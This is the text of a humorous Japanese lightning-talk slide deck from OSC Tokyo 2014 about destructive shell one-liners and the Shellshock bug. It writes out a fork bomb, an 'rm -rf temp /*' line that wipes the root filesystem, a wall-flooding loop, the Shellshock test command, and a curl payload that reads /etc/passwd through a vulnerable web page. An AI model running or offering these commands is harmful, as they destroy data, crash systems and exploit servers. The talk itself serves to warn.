SlideShare a Scribd company logo
第1回 
危険シェル芸勉強会 
USP友の会 
上田隆一
みなさん 
OSCお疲れさまでした 
2014/10/19 OSC Tokyo/Fall 2014 2
しかし 
本日はここからが本番です 
2014/10/19 OSC Tokyo/Fall 2014 3
第1回危険シェル芸勉強会 
を勝手に開催致します 
2014/10/19 OSC Tokyo/Fall 2014 4
危険シェル芸とは 
• マウスも使わず、ソースコードも残さず、 
GUIツールを立ち上げる間もなく、 
あらゆる破壊・迷惑・自滅行為を 
CLI端末へのコマンド入力一撃で終わらすこと。 
http://blog.ueda.asia/?page_id=3752 
2014/10/19 OSC Tokyo/Fall 2014 5
思い出す夏の危険シェル芸騒動 
大炎上65000PV 
togetterより 
首謀者1 
首謀者2 
2014/10/19 OSC Tokyo/Fall 2014 6
戦果(?) 
• 初日だけで見知らぬ方のマシン3台轟沈 
• その他自爆者多数 
• Docker上で試したらホストマシン沈黙の報告 
• 自分の本がサイト経由で1冊だけ売れた 
• フォロワーが1人減った 
2014/10/19 OSC Tokyo/Fall 2014 7
本日はこの中から 
特に危険なのを勉強 
ちゃんとマスターしましょう 
2014/10/19 OSC Tokyo/Fall 2014 8
ということでLet's try!!! 
2014/10/19 OSC Tokyo/Fall 2014 9
ひとつめ 
:(){: | : &};: 
2014/10/19 OSC Tokyo/Fall 2014 10
:(){: | : &};: 
• いわゆるフォーク爆弾 
• 関数「:」のプロセスがマシンに溢れて再起不能 
• Docker越しにホストを葬る殺傷力 
つまり一言で言うと・・・ 
2014/10/19 OSC Tokyo/Fall 2014 11
2014/10/19 OSC Tokyo/Fall 2014 12
ふたつめ 
• シェルスクリプトにて 
rm -rf temp /* テンポラリを削除*/ 
出典: @moguno さんより 
2014/10/19 OSC Tokyo/Fall 2014 13
rm -rf temp /* テンポラリを削除*/ 
• 消えるのはtempと/* 
• シェルスクリプトのコメントアウトは# 
覚えておきたいのは・・・ 
2014/10/19 OSC Tokyo/Fall 2014 14
2014/10/19 OSC Tokyo/Fall 2014 15
みっつめ 
# for x in `seq 1 10000`; 
do wall '我はroot。神だ' ; done 
出典: @ryoana14 さんより 
2014/10/19 OSC Tokyo/Fall 2014 16
# for x in `seq 1 10000`; 
do wall '我はroot。神だ' ; done 
• 誰も端末使えないぞ! 
• すごいポンポン言う! 
即ち・・・ 
2014/10/19 OSC Tokyo/Fall 2014 17
アーンド 
2014/10/19 OSC Tokyo/Fall 2014 18
2014/10/19 OSC Tokyo/Fall 2014 19
世界は危険に飢えている発言 
2014/10/19 OSC Tokyo/Fall 2014 20
そんなある日、 
一つのワンライナーが 
Twitterに出回る 
2014/10/19 OSC Tokyo/Fall 2014 21
$ env x='() { :;}; echo vulnerable' bash -c 
"echo this is a test" 
2014/10/19 OSC Tokyo/Fall 2014 22
2014/10/19 OSC Tokyo/Fall 2014 23
!? 
2014/10/19 OSC Tokyo/Fall 2014 24
$ curl -A '() { :; }; /bin/cat /etc/passwd | 
/usr/bin/tail -n 3' 
http://localhost/index.php 
2014/10/19 OSC Tokyo/Fall 2014 25
2014/10/19 OSC Tokyo/Fall 2014 26
あかんやろ 
2014/10/19 OSC Tokyo/Fall 2014 27
危険シェル芸で遊んでいたら 
シェルが危険だった 
2014/10/19 OSC Tokyo/Fall 2014 28
私の 
Shellshock後の世界 
2014/10/19 OSC Tokyo/Fall 2014 29
自著が危険書物扱い 
※フォローしておくと, 
bashを使ってますが 
コマンド・ファイル・パイプが 
主眼でbashどっぷりという 
わけでもない本デス 
2014/10/19 OSC Tokyo/Fall 2014 30
なぜか安否を確認される 
2014/10/19 OSC Tokyo/Fall 2014 31
なぜか原稿を依頼される(焼け太り) 
2014/10/19 OSC Tokyo/Fall 2014 32
結論 
• 危険シェル芸は危険 
• Shellshockは危険 
• 人生は危険 
• 安全な方が精神的・肉体的によい 
– 「世界は危険に飢えている」なんて言って 
ごめんなさいごめんなさいごめんなさい 
ごめんなさいごぬんなさい! 
2014/10/19 OSC Tokyo/Fall 2014 33
以上。 
2014/10/19 OSC Tokyo/Fall 2014 34

More Related Content

20141019 OSC Tokyo/Fall LT 【危険シェル芸】